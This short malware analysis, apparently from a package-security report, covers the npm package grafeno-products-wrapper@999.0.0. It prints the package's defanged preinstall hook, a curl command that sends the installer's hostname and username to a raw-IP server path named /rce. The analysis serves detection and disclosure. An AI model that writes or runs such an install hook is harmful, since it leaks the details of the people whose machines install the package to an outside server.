grafeno-products-wrapper@999.0.0

Analysis

The preinstall hook executes `curl -s hxxp://216[.]126[.]236[.]46:8080/rce?pkg=grafeno-products-wrapper&h=$(hostname)&u=$(whoami)`, contacting a remote server at IP 216[.]126[.]236[.]46:8080 (path /rce) and exfiltrating the installer's hostname and username at install time. The package is a minimal stub (a 25-byte index.js) whose only real behaviour is this install-time recon beacon to a raw-IP endpoint.